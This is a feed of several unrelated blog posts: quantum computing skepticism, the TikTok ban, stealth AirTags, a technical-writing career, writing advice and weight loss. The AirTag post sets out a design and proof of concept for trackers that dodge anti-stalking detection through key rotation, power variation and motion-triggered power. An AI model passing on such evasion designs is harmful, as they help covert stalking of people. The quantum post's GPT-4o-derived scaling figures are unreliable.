What you are at looking here is numerous lasers, beam splitters, polarizers, mirrors, and other optical devices sitting on an optical table, which takes up most of a room. As with other quantum computers, photonic quantum computers are extremely sensitive to vibrations, so the optical table floats on compressed air to dampen vibrations. They don’t say how many qubits the system in the picture has, but my guess is it’s likely twenty qubits at most, yielding just a handful of AQs. However, let’s be generous and assume you could 100 physical qubits from an optical table like this. Recall that for a useful quantum computer you need at least 1,000,000 AQs. Let’s assume the ratio of error correcting qubits to AQs is 250,000. Then you would need 1,000,000*250,000/100 = 2,500,000,000 optical tables like this. That’s a lot! However, the situation is actually worse than this. We assumed the number of optical devices required grows linearly with the number of algorithmic qubits. However, because you need a high density of entanglement between qubits for them to be useful, the number of devices required grows super-linearly. According to GPT-4o, the number of optical devices required for a useful photonic quantum computer grows quadratically with the number of qubits (roughly as N^2). So, you would need something like 2,500,000,000^2 or 6,250,000,000,000,000,000 optical tables worth of optical devices to get 1,000,000 AQs. Of course, further advances in quantum error correction could bring this number down somewhat, but even if we were able to get rid of quantum error correction completely, we’d still be looking at (1,000,000/100)^2 = 100,000,000 tables of equipment. (GPT-4o thinks this analysis is right, however, if you see a mistake please comment below).

“OK,” you might say, “but surely all this will be miniaturized, just like we learned how to miniaturize circuits, radios, lasers, etc.” Consider this DGX superpod, which contains 256 H100 GPUs and can fit in a small datacenter:

Each GPU has 80 billion transistors. So there are at least 20.48 trillion transistors here (20,480,000,000,000). Which is indeed a very large number of electrical devices in a small space.

With silicon technology, the density of components has been increasing exponentially over time — that’s Moore’s law in action. However, comparing these optical benches to silicon-based electronics is like comparing apples to oranges. The harsh reality is that we have no idea how to miniaturize most of the optical devices that are needed. Photonic quantum computers require ultra-high end devices, at the very edge of our engineering abilities. These devices come from a specialized vendors that have already spent decades refining their design. Each laser need to be super high precision, with zero frequency or mode drift, and capable of yielding individual photons on demand with near-perfect reliability. The mirrors have to be perfectly planar with near-zero absorption. The electro-optical modulators, optical fibers, and beam splitters also need to have extremely low absorption and scattering cross sections. Then, all of the devices have to be placed and aligned with exquisite precision. As any graduate student in photonic quantum computing can attest, aligning and calibrating one of these tables can take weeks or months. So, while in theory a lot of this could be miniaturized, it seems to me we are very far from that. Maybe superintelligent AI could teach us how to do it.

This ratio is not fixed with the number of AQs — the number of error-correcting qubits needed scales super-linearly. The precise ratio needed also varies depending on the algorithm being run. I did a bunch of Google searching and talked with GPT-4o about this for a while, and here are some rough ranges for the ratio that would likely be needed for a useful quantum computer:

Trapped-ion quantum computer: 10 - 1,000
Superconducting quantum computer: 400 - 10,000
Photonic quantum computer: 1,000 - 500,000

Scott Aaronson says this is the most important metric. Scott says that 99.9% is the lower threshold to get to a useful machine. Part of the excitement around quantum is that several companies are hovering right around this threshold, or have surpassed it in some experiments. All of these numbers are from Wikipedia, which seems to be one of the most up-to-date references online.

Trapped-ion quantum computer:
99.87 (Quantinuum), 99.3 (IonQ)
Superconducting quantum computer: 99.897 (IBM), 99.67 (Google), 94.7 (Rigetti)
Photonic quantum computer: 93.8 (Quandela)

Quantum volume is a far superior metric compared to “number of qubits”, because it takes into account the degree of entanglement of the qubits.

Trapped-ion quantum computer: ~2^20 (Quantinuum)
Superconducting quantum computer: 2^9 (IBM)
Photonic quantum computer: ? (probably < 2^9)

A lot of people think there is a "Moore's law" for quantum computing. For instance, some people think the number of qubits is increasing exponentially over time and will continue to do so. However, for Moore's law to be realized for CPUs, exponentially increasing levels of investment were required to maintain progress (I wrote about this in 2015). That only happened because CPUs are general purpose, with new applications opening up over time. Because new applications become available with more and more compute, the demand for general purpose compute is essentially infinite. Quantum computers are not general purpose — they only have one major proven application (decryption), plus a few highly questionable niche applications. Over the last decade, large governments and industry have invested millions into quantum computing. If there is little or no fruit soon, that funding could easily dry up, similar to how it did during the "AI winter" in the 1980s.

File:D-Wave Systems logo.svg - Wikimedia Commons

D-Wave Quantum Systems, Inc. was formed in 1999. It is named after d-wave superconductors. While they call themselves “The Quantum Computing Company” (TM), they don’t actually make quantum computers. They make devices called quantum annealers, which they claim can help speed up optimization problems like optimizing neural nets, etc. There is no proof of any benefit from their devices vs. traditional computing hardware. Despite their devices having no practical utility, they are extremely adept at marketing and tricking people into buying their devices. This marketing is misleading at best and fraudulent at worst. A decade or so ago, D-Wave marketed their machines as having hundreds or thousands of qubits. While this was technically true, their qubits were extremely noisy and completely unusable. Recently, D-Wave’s CEO went on CNBC and made a number of completely false statements about how customers were using their machines. Over the years, many organizations have buy devices from them, including NASA, the US Air Force, Lockheed Martin, and Google. Organizations buy from D-Wave out of fear of “falling behind the curve,” not because their devices have any practical utility. While there is much more I could say about D-Wave, I wanted to limit this article to actual quantum computing companies.

Thank you to ChatGPT, Claude, and Quillbot for helping me research and write this, and to Greg Fitzgerald and Ben Ballweg for providing feedback on an earlier draft of this post.

Discussion about this post

]]>
https://moreisdifferent.blog/p/why-is-it-so-hard-to-build-a-quantum hacker-news-small-sites-42753989 Sun, 19 Jan 2025 05:30:26 GMT
<![CDATA[The TikTok Ban and the Openness Trap (2020)]]> thread link) | @paulorlando
January 18, 2025 | https://unintendedconsequenc.es/tiktok-ban-openness-trap/ | archive.org

While I often say that I don’t respond to recent business news here, I have also recently broken that rule a few times. So I decided to look at the potential Tiktok ban in the US. To connect this potential ban to my other writing I’ll go back to Merton’s five causes of unintended consequences to point out some less discussed reasons for why the ban might be good or bad.

Related to the discussion around Tiktok, I was reminded that this week marks the 30th year since I first visited mainland China. I remember this because I was in Beijing at the same time that Saddam Hussein’s Iraq invaded Kuwait — the first week of August 1990. The hotel TV did not black out that specific part of the news.

Since that time I went to mainland China perhaps around 50 times both for work and to travel. For a large country with big regional differences, I don’t count 50 trips as a lot. But I’ve found my perspective to be different from that of others who spent more time there simply because I have seen the country over a longer time.

While it’s now been two years since I have been to China, also for work, a lot of my experience was of a China that doesn’t really exist anymore. Many of my trips to the country were in the 1990s and early 2000s. First off, that was a cash society and not the mobile payments-driven one of today. On longer trips, I had several occurrences where I needed to coax bank employees through a long process of filling out long handwritten forms so that I could make an international withdrawal. Today’s China of mobile payments (and monitoring) is one that I haven’t experienced that much personally. For example, in a previous article I used a picture of stacks of bike share bikes which were plentiful, but not accessible to me because I didn’t have a bank account linked to the relevant app.

Many of my trips in China were also before smart phones were common. It did not hinder anything about my experiences there, it just made them different than they would be today.

In a way connected to the previous two, another experience I had in China was that a lot of my trips were during a period of growing freedom. I did many things that are probably unusual or impossible today, including making friends with Uyghurs in Xinjiang, seeing multiple arrests (related to Deng Xiaoping’s funeral and Falun Gong), having thoughtful discussions with people I met on China’s development, the US, Taiwan, and other topics.

But back to Tiktok, a popular short video app that is an American company owned by ByteDance, a Chinese parent company. Tiktok’s corporate behavior and the history of non-reciprocity of tech in China is problematic. Does a ban or potential sale to an American company (perhaps Microsoft) make sense?

Others have pointed out that an issue with Tiktok is not only that it censors political information unwanted by China’s government, but its algorithmic feed determines what content users see. Tiktok has hundreds of millions of users which means that at scale it can influence what ideas become the norm, whether by suppressing undesirable ones or encouraging users to avoid ones that would lead to their own accounts being suppressed.

And as others have mentioned, Tiktok’s users were responsible for low turnout at Trump’s political rally in Tulsa. How should we look at the potential to ban an app in the US — something that is common to do in China?

Merton’s List

Robert Merton’s five causes of unintended consequences are ignorancebasic values, short vs long-term interests, the self-defeating prophecy, and error. His list is high-level, but it will do for today.

Let’s take a quick look at each related to Tiktok and why we are in a situation to have this discussion.

Ignorance

One of the differences between the US and China is that it is easier to learn about the American side than the Chinese side. The exchange of people is relatively lopsided (more Chinese citizens studying and working in the US than the reverse). American customs are easier to learn. In spite of the above, the China side invests more time to learn about the US than the reverse. This is a fault of interest and expectations on the US side.

As I wrote in my article on ignorance, “First-order effects of ignorance include incorrect decisions. Second-order effects include not understanding why the decisions are incorrect.”

Basic Values

From the typical American perspective, a grating part of a ban is that “it’s not who we are, it’s just not something we do.” Let users decide where to put their time. After all, if they want to use a well-designed app that has millions of users, but also concerns around security and influence, it’s their choice. The best ideas will win out. The problem with this argument is that most of the past examples of this argument have been domestic products. The US has also been quite critical of (though seldom willing to ban or break up) domestic tech companies that gain too much power.

Should the same be extended to foreign companies, at least those owned by antagonistic countries? Tiktok’s own censorship, including that of protests in Hong Kong, treatment of Uyghurs in Xinjiang, and even of unattractive users, is also contrary to US basic values.

Short vs Long-Term Interests

Tiktok’s American management of course came out against the ban. I have no idea what they actually think, though I do remember that “It is difficult to get a man to understand something when his salary depends upon his not understanding it.”

Tiktok claims that it will create 10,000 jobs in the US over the next three years. The company is rallying its users in its defense. Why wouldn’t it?

But this is where the interests of Tiktok (the short-term) don’t match with the interests of the US (the long-term). Yes, banning Tiktok would leave its users without the entertainment (until they find a new app or a workaround). The ban would probably eliminate some jobs. But in the timeline of social media companies, perhaps we shouldn’t care. We rarely mourn for MySpace today, even if it’s decline was for market reasons. Other products will fill Tiktok’s void. Long-term detriments or benefits of its ban may include the slippery slope of banning other apps, opening the way for other countries to ban apps, and more.

Another view on the ban is that it comes up within 100 days of the presidential election. Government timescales in the US are shorter than those in China not because of the different ages of the countries but because the US has elections every four years and the political party in the executive branch often flips, while China has one party and Xi Jinping might last for decades now that he removed term limits.

The Self-Defeating Prophecy

I’ll just quote my earlier article on this type: “I think of this phenomenon as a tortoise and hare situation. Not the “slow and steady” part, but instead that the unexpected nature of who would win a tortoise-hare race is baked into the participants’ behavior. The hare only stops to rest because it is so obvious that it will win, which in turn becomes the reason it loses.”

Error

A common error in American discussions of Tiktok is assumptions about a bilateral nature of its ban. China has banned or blocked many American companies for years now. A partial list of these American companies includes Google, Youtube, Facebook, Wikipedia, Instagram, and Twitter.

It was a mistake to not require reciprocity for the years these companies have been blocked in China. That being said, Tiktok is the first China-owned tech company to gain the consumer mass market in the US.

The explanations for banning US tech companies in China includes both information flow but also the ability for Chinese versions of these products to have a chance. It’s like saying that the US should ban Tiktok so that domestic companies have the ability to build their own short video apps. That’s a concept typically not considered for Americans.

And what happens when the movement is in a different direction? What about Zoom, an American company that has banned user activity in the US at China’s request? Actually, the list of non-Chinese companies companies complying with pressure from China (to say nothing of those doing so proactively) is quite long.

The Opposite Trap

There is a common lack of critical thinking about Tiktok but a prevalence of imagination for reasons Trump has for its ban. One of the frequent explanations is the Tulsa Rally. From a recent Forbes article: “What if this has nothing to do with China, nothing to do with national security? What if this does have everything to do with Trump’s rally in Tulsa, Oklahoma, in June?”

Such an argument actually is connected to national security. Such an outcome could have just as easily happened to Biden (or to Clinton had she been elected). I read much of the argument against Tiktok’s ban as being more about supporting the opposite of whatever Trump says rather than critical thinking about outcomes.

Quotes like this one from Wired also make me question the supporting examples: “For the past several years, I’ve warned that the biggest threat to the internet is the technological cold war between the reasonably open, free internet of the West, and the closed authoritarian internet of the East. Now, with the President’s repudiation of free speech and open markets, I worry whether there isn’t as much difference between the two sides after all.” For the long lists of companies above and the large volume of domestic speech critical of Trump when there is no such comparison for Xi — I take this to be, well, hypocrisy on the part of the writer making this claim.

Even the ACLU seemed to be both against and for a Tiktok ban in recent tweets: “Banning an app like TikTok, which millions of Americans use to communicate with each other, is a danger to free expression and technologically impractical.” But the prevented free expression on Tiktok, noted above, is a great danger too. And since when does the ACLU care about technological impracticability?

Another ACLU tweet: “To truly address privacy concerns with companies like TikTok, Congress must ensure that ANY company that services US consumers cannot hand over our data to any government without a warrant or equivalent. Letting the president selectively ban platforms isn’t the solution.” That tweet seems to be in favor of the ban and a process for banning other companies as well.

Let’s look a bit more into the history of American tech companies in China. Google, for example, used to be incredibly popular in China, both with the enthusiasm people had for the company and potentially working there to its search market share, which at one point was 40% in China. But that changed along with Google’s approach to censoring search results — first against, then for, then against, and then blocked (along with its other products) in China. This NY Times article from 2006 explains something about the transition.

“Google posed a unique problem for the censors: Because the company had no office at the time inside the country, the Chinese government had no legal authority over it — no ability to demand that Google voluntarily withhold its search results from Chinese users. And the firewall only half-worked in Google’s case: it could block sites that Google pointed to, but in some cases it would let slip through a list of search results that included banned sites. So if you were in Shanghai and you searched for “human rights in China” on google.com, you would get a list of search results that included Human Rights in China (hrichina.org), a New York-based organization whose Web site is banned by the Chinese government. But if you tried to follow the link to hrichina.org, you would get nothing but an error message; the firewall would block the page. You could see that the banned sites existed, in other words, but you couldn’t reach them. Government officials didn’t like this situation — Chinese citizens were receiving constant reminders that their leaders felt threatened by certain subjects — but Google was popular enough that they were reluctant to block it entirely.”

Result: here’s a screenshot of Bing (not Google) search results that I took in China in 2018. Among the big American tech companies, Microsoft may be the most comfortable working with China.

Bing search results

People sometimes assume that Zoom is a Chinese company. But it’s actually an American company that responds outside of China to instructions from the Chinese government. From Zoom’s own website:

“In May and early June, we were notified by the Chinese government about four large, public June 4th commemoration meetings on Zoom that were being publicized on social media, including meeting details. The Chinese government informed us that this activity is illegal in China and demanded that Zoom terminate the meetings and host accounts.”

“How We Fell Short: We strive to limit actions taken to only those necessary to comply with local laws. Our response should not have impacted users outside of mainland China. We made two mistakes:

“We suspended or terminated the host accounts, one in Hong Kong SAR and two in the U.S. We have reinstated these three host accounts. We shut down the meetings instead of blocking the participants by country. We currently do not have the capability to block participants by country. We could have anticipated this need. While there would have been significant repercussions, we also could have kept the meetings running.”

If the Western assumption that openness should be the default approach is not reciprocated, what should be the response?

On the one side there is setting a national policy for what’s allowable and then requiring international companies adhere to that. That’s the choice some international companies made years ago, first to comply and then in some cases to stop operations in China. It’s another thing for non-Chinese international companies to comply with Chinese government policy in their own operations outside of China.

There is a difference between open discourse in good faith and one that uses the culture of openness to remove its own opponents.

While I don’t follow breaking news, I was drawn in the this story’s evolution. A very interesting dialogue about Microsoft’s potential acquisition of Tiktok came on August 3rd. This quote is by Trump, referencing a call with Microsoft’s CEO about a potential acquisition of Tiktok:

“If you buy it, whatever the price is, that goes to whoever owns it, because I guess it’s China, essentially, but more than anything else, I said a very substantial portion of that price is going to have to come into the Treasury of the United States. Because we’re making it possible for this deal to happen. Right now they don’t have any rights, unless we give it to them. So if we’re going to give them the rights, then it has to come into… this country.”

I take the effect of that comment to be on the upcoming acquisition negotiation. The comment lowers Tiktok’s potential purchase price in Microsoft’s favor. I don’t expect that the US Treasury actually receives a direct cut of the acquisition. (But who knows?)

Here again, there is widespread criticism (justified) of Trump’s comments. Criticism of one’s own political leaders and country can be a way to improve, however chaotic those discussions can be. What’s less common in the US is for comments to be understood as part of push-back, negotiation, or responding to non-reciprocity with chaos. Actually, all things that make sense.

And what of ByteDance’s founder, Zhang Yiming? He’s mostly left out of the story in the US press, a common lack of perspective. Well, in Zhang’s case, he might not be faring too well either. You can read this article titled “Chinese social media users call ByteDance founder unpatriotic and weak in the face of U.S. moves against TikTok” to get a bit of insight there. “While the news about Microsoft’s potential acquisition of TikTok was a huge relief for its American users, it was received poorly on the Chinese internet, with many calling Zhang Yiming, ByteDance’s founder and CEO, a ‘spineless traitor’ and a ‘despicable coward,’ among other insults.”

Would it be a bad thing for Tiktok to be banned in the US or acquired by a US company? An acquisition and overhaul of practices may work better than an outright ban. Will there be other unintended consequences of the ban itself, should it go ahead? Certainly. Do I think that the lack of reciprocity should make for a serious discussion around its potential ban? Absolutely.

I hope that the two countries have better relations if I last long enough to look back on this after another 30 years.

Consider

  • Future version of the Tulsa rally ticket trick. Charge a fee to attend that is then reimbursed upon showing up. That however may just lead to better-funded chaos campaigns targeting specific candidates.
  • The best influence activities go unreported. Stated asks and claims may be negotiating tactics and something different than what they appear.
  • Where is the China view in US media reporting about this situation?
]]>
https://unintendedconsequenc.es/tiktok-ban-openness-trap/ hacker-news-small-sites-42753775 Sun, 19 Jan 2025 04:54:27 GMT
<![CDATA[Further Thoughts on Stealth AirTags]]> thread link) | @zdw
January 18, 2025 | https://www.hotelexistence.ca/further-thoughts-on-stealth-airtags/ | archive.org

Updated 2025/01/12: Added go-haystack link and AirTag + IMU Proof of Concept

In 2022, I spent a week working with a small team analyzing how Bluetooth item trackers (eg: Apple AirTags, Tile) can be covertly used for malicious purposes, and developing processes and tools to detect them, as a part of GeekWeek 7.5, the Canadian Centre for Cyber Security’s (CCCS) annual cybersecurity workshop. I wrote about my experience here: /exploring-bluetooth-trackers-at-geekweek-7-5/.

Stolen Car Experience

I’ve revisited this experience a few times - once, earlier this year, when one of my friends shared his brother’s experience with car theft. The victim attempted to locate the car using the AirTag he’d hidden in the spare tire compartment, but apparently the thieves had detected and removed the device.

/further-thoughts-on-stealth-airtags/images/AirTagTrackCar.png
AirTag Tracker Ineffective for Locating Stolen Car

Stealth Air Tags

Tracking a stolen car seemed like an potentially interesting application for a clone ‘Stealth’ AirTag, which consists of small tweaks built on the work of SEEMOO Lab’s Open Haystack. The Stealth AirTag we built evaded detection by altering the AirTag clone’s keys and transmit power at random intervals. It could be further improved with the addition of an IMU (inertial measurement unit), such that it only broadcasts when it is on the move, making it incredibly tricky to find. For most people, a cloned AirTag is not very practical - the Open Haystack application required a Mac, and the setup required to connect it to the Apple Find My network wasn’t straightforward.

New Open Source FindMy Projects

I was thinking about this again recently when I came across the following projects:

I could envision low-volume custom AirTag clones, that would only broadcast their position when the IMU detected it was moving. The way Find My has been developed, I think it would be challenging for Apple to block these devices from leveraging its Find My network. This Python library would facilitate building a client side app, which could be packaged with the clone AirTag, and work around the challenges I had with the Open Haystack application. This would probably fall well outside of Apple’s Terms of Service - presumably if a market developed for clone devices, they could find a way to block access to non-official clients and modify their devices to avoid relaying the position of clone AirTags.

Digital Camouflage

Another solution would be to modify a genuine AirTag, to selectively turn it on and off. Envision a device similar to Elevation Lab’s TimeCapsule - 10-Year AirTag Battery.

/further-thoughts-on-stealth-airtags/images/elevationlabairtagbattery.jpg
Elevation Lab's 10 Year AirTag Battery

To the Elevation Lab product, add a microcontroller and an IMU, which would control power to the AirTag.

/further-thoughts-on-stealth-airtags/images/AirTagDigitalCamouflageDiagram.jpg
Diagram of an AirTag with Power Controlled by Microcontroller

If no movement is detected, the AirTag remains un-powered and does not broadcast. When movement is detected, power the AirTag, and start broadcasting. As the design is an accessory to a genuine AirTag, it remains usable with Apple’s software and devices. Power could be controlled to the AirTag in such a way to not trigger the tracking notification on nearby phones. A device could even be built to support multiple AirTags, and cycle power to each of them - this would have a similar impact to changing the keys seen on some clone Stealth AirTags. It’s like adding digital camouflage to an AirTag!

Proof of Concept

Although the idea was straightforward, and I had no need for such a device, I had all the parts, so I set about building a proof of concept, where the power was selectively supplied to an AirTag, based on a motion-driven algorithm running on an external microcontroller. Genuine AirTags now cost CAD$39, and I was a bit hesitant to solder leads on one of my AirTags. So I built a “dummy” CR2032 cell with power leads using two pennies (out of circulation in Canada since 2013!).

/further-thoughts-on-stealth-airtags/images/DummyCR2032Cell.jpeg
Dummy CR2032 Cell

And - the AirTag wouldn’t power up with my dummy cell. I had previously found the Apple AirTag super sensitive to the batteries it accepts - I replaced the stock battery with Duracell CR2032s and it wouldn’t work - Duracell batteries have a bitter coating to discourage small children from swallowing them - I had to sand off the coating before the AirTag would power up.

So I decided to build my proof of concept with an AirTag clone - a “Loshall” tag compatible with Apple Find My. Note that the AliExpress listing indicates it is a Xiaomi product - it is not, but it did work with Apple Find My. I connected it to a circuit with an ESP32 microcontroller, an MPU-6050 IMU, a 2N2222 transistor, and an LED to indicate when power is being supplied to the AirTag.

/further-thoughts-on-stealth-airtags/images/AirTagDigitalCamouflagePoC.jpg
PoC - AirTag w/Power Driven by Motion Algorithm

With the circuit, I demonstrated how I could selectively power an AirTag based on motion detection. In the following video, you can see how when I move the breadboard, the LED lights up, and the AirTag emits its power up chirp.

YouTube Link: AirTag - only broadcasts when movement is detected

However, I’m sad to report, I somehow damaged the AirTag when I soldered on the leads. After my modifications, I could no longer find the AirTag with Find My - even when I used a real CR2032 cell. Although I still haven’t taken this PoC to full completion, and I used a clone AirTag, I’m confident it could be made to work - a genuine Apple AirTag could be modified in this manner to make it harder to detect.

The source code used for this demo is a small alteration of Adafruit’s MPU6050 motion detection example.

]]>
https://www.hotelexistence.ca/further-thoughts-on-stealth-airtags/ hacker-news-small-sites-42753326 Sun, 19 Jan 2025 03:31:21 GMT
<![CDATA[Quake III Arena in your web browser]]> thread link) | @memalign
January 18, 2025 | https://thelongestyard.link/q3a-demo/ | archive.org

Unable to extract article]]>
https://thelongestyard.link/q3a-demo/ hacker-news-small-sites-42753173 Sun, 19 Jan 2025 02:48:24 GMT
<![CDATA[You Don't Have to Be a Developer]]> thread link) | @wonger_
January 18, 2025 | https://www.lambdalatitudinarians.org/techblog/2022/09/13/you-dont-have-to-be-a-developer/ | archive.org

September 13, 2022

I originally wrote this post a short time into my first tech writing job on MongoDB's Server Docs team. I never ended up sharing it because, for a while, I wasn't sure if I would end up staying in the docs world or switching back into software development.

Less than a month ago, I got a new job running documentation at Gradle. My experience as a Developer Educator for MongoDB Realm Docs convinced me that documentation can scratch all of my developer itches -- building automation, infrastructure, and writing tutorials and code snippets.

I've added some thoughts at the end of the post and tightened up some language. But this post largely reflects my thoughts on working as a documentarian very early in my transition from software development. If you're currently pursuing a computer science degree, or attending a coding boot camp, or working as a developer, and it's not completely satisfying... maybe this will help.

I graduated from the University of Rochester with a B.S. in computer science and a B.A. in English in 2017. For over two years after graduation, I worked at Bloomberg as a software developer (called "FSD", or "Financial Software Developer") internally.

I spent half of that time working on a piece of internal-only software designed to make it easier to follow internal development best practices. This was stuff like jumpstarting continuous integration, providing project templates, and automating paperwork required to run services.

For the second half of my tenure at Bloomberg, I worked on a client-facing team that built both a UI and a middleware C++ layer for a report calculation engine. It was about as exciting as it sounds.

Overall, software development was a fun role. There were parts that I really liked, like digging deeply into unique, interesting optimization problems and algorithms. There also were parts I didn't like as much. That includes writing CRUD APIs or DAOs that felt like they should have been automatically generated by a script and "investigating" problems with such low impact, nobody truly cared if they were solved.

There were also parts that I felt just didn't properly gel with my personality, like most "social gatherings" and learning about financial instruments. Don't get me wrong -- there are aspects of finance that I find interesting, and parts that I think everyone should know. (Not necessarily the same parts)

"Time in the market trumps timing the market", "diversify your holdings", "make your money work for you"... these are tenets of personal finance that every responsible moneyholder ought to know. But learning about the inner workings of an obscure financial product that only analysts and professional investors will ever care about? Meh.

I guess there's always a silver lining, though: at least it beats working in advertising.

Anyway, software development was a mixed bag. Could I do it for my entire career? Absolutely. With the right team, I think software development could be rad. But despite the fact that my teammates at Bloomberg were all extremely kind and intelligent, I never really felt close enough to them to get to that point. At the end of the day, work was just work, and I didn't feel like anybody was paying enough attention (and I was never individually inspired enough) to justify putting in extra effort.

As a result, I never felt like software development scratched my creative itch the same way that college projects satisfied me.

At first, I thought that I just had to get used to my company and the subject matter of my work. I gave it a few months, but I still felt unfulfilled. Then I switched teams to try something different; maybe a larger team with younger team members and a tighter focus would fit me better?

After a year, it was... fine. I was doing well, but not great; at the end of the day, I didn't really feel like my work mattered. Eventually, I ended up browsing Hacker News "Who is Hiring" threads every month to see if the grass really was better on the other side. After all, many of my friends switched companies every couple of years; from what I've been told, it's the best way to increase your compensation when you're young. And one day a peculiar post caught my eye.

The role was "Technical Writer" for MongoDB's Server documentation group. I'd heard about technical writing before -- even thought about it as a career, though it seemed like internship opportunities were few and far between during college. But some friends had warned me away from it as a career, claiming that a lot of companies didn't really respect technical writers and you'd be better off as a developer if you had the chops to get hired as one. I still think that's true: on average, there are more opportunities to get hired as a developer and the roles pay better. But there are a few caveats to that statement that change the calculus:

  • some companies treat writers like engineers
  • technical experience (as a developer, not just education)
  • culture
  • pay isn't everything (but it's still good)
  • you have to find the right compromises for satisfying work

Note: Here ends my original writing. What follows is a reflection by my slightly-older-hopefully-wiser 2022 self.

Wow. I had a pretty good read on this career over two years ago. Two points really struck me:

As a result, I never felt like software development scratched my creative itch the same way that college projects satisfied me.

Now that I'm years into documentation writing and working my second role, this is refreshing to hear. When I wrote software, especially internal-facing software with a captive audience, I knew deep down that it didn't really matter if I did an awesome job or a bad job.

Writing documentation for open source (or open source adjacent... damn you SSPL) projects, I take pride in my work. I know that crappy documentation will make people sad, and possibly push them away from using the product. I know that great documentation can save people from hours of frustration and pain. It reminds me a great deal of TAing back in college -- sure, I could phone it in and not prepare for a workshop or a review session. But when the students suffer from your laziness, you tend not to be (too) lazy.

With the right team, I think software development could be rad. But despite the fact that my teammates at Bloomberg were all extremely kind and intelligent, I never really felt close enough to them to get to that point.

The Realm Docs/Developer Education/Education Engineering team at MongoDB is rad. Working with them was rad. I like them so much I'm keeping in touch with most of my teammates, and even some other folks from the MongoDB documentation org.

Some of it might be time-based -- you have to get comfortable with a team before you can enjoy camaraderie. But it's also personality-based -- if you work with people with common interests (or just interesting interests!), you'll inevitably learn from them and their interests will cross-pollinate into your own life. I listen to podcasts, read blogs, read books, try out hobbies, and listen to music recommended by my MongoDB coworkers. I consider them friends and role models.

TL;DR: If you're not thrilled at your current software developer job, go out and get another one. Or try something else in the industry that scratches itches that aren't currently satisfied. I know this probably seems obvious from the outside, but don't let good compensation and comfort cloud your gut instinct to find something better. You might regret it... but you probably won't.

]]>
https://www.lambdalatitudinarians.org/techblog/2022/09/13/you-dont-have-to-be-a-developer/ hacker-news-small-sites-42753068 Sun, 19 Jan 2025 02:23:07 GMT
<![CDATA[Writing Advice Is Useless]]> thread link) | @paulpauper
January 18, 2025 | https://kittysneezes.com/writing-advice-is-useless/ | archive.org

The best way to make money as a writer is to publish a book of writing advice. There are hundreds of these books, promising all kinds of things. They range from soft, gentle promises to unlock your creative soul to foul-mouthed tough love.

Most are useless.

The problem with writing advice is that it is either so general that it’s barely usable, or so specific that it’s only of use to ten people in the world.

The best writing advice in the world is also the advice people are most resistant to. I suspect it makes them feel defensive. It certainly made me feel defensive when I was a much newer writer, procrastinating instead of working.

Here it is, are you ready?

  • Read widely
  • Write often
  • Be curious about the world

It’s frustrating advice because it doesn’t tell you how to be good. The thing is that being a good writer is a matter of practice and study.

Now, some writing books of the best sort give you guidelines on how to do that practice and study – Wonderbook by Jeff Vandermeer is one of these and I’m sure there are many more. But most seem to ignore it, or pay lipservice to it at best.

Like any artistic skill, the only way to get good is to practice.

At worst, writing advice can be actively harmful to the development of new writers. There are many people saying to always do this or never do that – always use an outline, never edit as you go, always follow the hero’s journey, never write an unlikeable main character etc etc. This is overwhelmingly nonsense and I suspect it turns a lot of writers away from finding their best artistic practice.

There are no ‘always’ or ‘nevers’ in writing. The ultimate writing rule is ‘do what you want, if you can make it work’.

Now, this isn’t to say I’ve never had good writing advice offered to me. Mostly that advice was from people who knew me and what I was trying to do with my work, or was in response to a specific question. That makes it useless to anyone but me, as no-one but me needs to know how to make the relationship between my two specific main characters even more fucked up.

As I have got more practiced and confident in my work I have stopped being so desperate for writing advice. I no longer think there is a magic trick to getting words on the page and making them good. It’s just work, that’s all. There’s nothing in the world that can make the awful, awkward stage where you’re bad at it and know that you’re bad at it pass any faster.

The market for writing advice is people who are new and anxious, and they will buy half a dozen writing books and eventually they will carve out what works for them – or they won’t, and they’ll give up.

Now, to be a hypocrite, I will tell you what works for me. Take it or leave it, or warp it beyond recognition for your own ends. Bear in mind I do not have a job due to disability.

  • I don’t write every day. I aim for 3-4 days a week, but allow myself often extended breaks due to disability.
  • I write pretty much as soon as I get up in the morning. If I’m up for it and I got my morning writing done fast, I will have a second session after lunch.
  • I write out of order, starting with the clearest scenes in my head.
  • I aim for 1000 words. If I can’t make that, I half the goal to 500. If I can’t make that, I half it again. And so on.
  • Now and then I set a goal to write and submit a short every month for 6 months to a year. I do this when I think I’ve started to get too precious and prone to perfectionism. The first time I did this four of the works got published.

Now, all that said, I’m going to list a few writing books I have liked. You don’t have to follow the advice in these, either. But they’ve helped me, even if sometimes it’s been because I thought ‘no, I disagree’.

  • On Writing by Stephen King. The publishing advice is out of date, but the rest is gold.
  • How Not to Write a Novel by Sandra Newman and Howard Mittelmark. Aimed at commercial fiction, but a useful and funny book.
  • Self-editing for Fiction Writers by Renni King and Dave Brown: Simple, helpful advice on making your work shine.
  • Wonderbook by Jeff Vandermeer. Nice combination of facts, imaginative art, and writing exercises.

Featured image by John Scnobrich.

]]>
https://kittysneezes.com/writing-advice-is-useless/ hacker-news-small-sites-42752957 Sun, 19 Jan 2025 01:53:59 GMT
<![CDATA[Bluesky's Most Popular Feeds in 2025]]> thread link) | @laimingj
January 18, 2025 | https://www.bskyinfo.com/blog/bluesky-popular-feeds-2025/ | archive.org

Unable to extract article]]>
https://www.bskyinfo.com/blog/bluesky-popular-feeds-2025/ hacker-news-small-sites-42752884 Sun, 19 Jan 2025 01:40:24 GMT
<![CDATA[How to lose weight (without getting lucky)]]> thread link) | @conwy
January 18, 2025 | https://conwy.co/articles/lose-weight | archive.org

TL;DR:

To lose unwanted fat in a healthy, sustainable, frugal and environmentally-friendly way, follow a whole-food plant-based diet and maintain a calorie deficit over a long period of time by exercising vigorously on a daily basis and sticking to a healthy and enjoyable eating routine.

Over the last few years I've been making steady progress toward getting in better shape. It's not been a straight path, but I'm pleased to report that I've been able to get very close to my ideal body type several times (body-image issues aside) and am much closer now than I was even a few months ago!

In this article, I'll try and share what's worked for me.

BTW, the title is a riff on How to get rich (without getting lucky) by Naval Ravikant, one of my favourite modern writers.

Goal#

Before launching into the tactics, I want to clarify my goal. I didn't actually start out with a clear goal, but rather I developed the goal over time and refined it quite a few times.

My basic goal now is a lean-muscular, moderately "athletic" body.

There are some constraints around this goal:

  • Long-term. Not just for a few months. Ideally life-long.
  • Healthy. Not involving toxic chemicals or unhealthy extremes.
  • Frugal. Spending little or no more money on food than I would otherwise.
  • International. I can move to another location while maintaining the diet/lifestyle.
  • Environmentally conscious. At least not adding more damage to the natural world than I would otherwise.

As you can imagine, adding these constraints necessarily adds some complexity. However I still found it doable, given some ingenuity and (importantly) persistence!

Motivation#

“Visualize your success and then go after it.”

– Arnold SCHWARZENEGGER

It's important to always have a "north star", "dream", "vision" or whatever you want to call it.

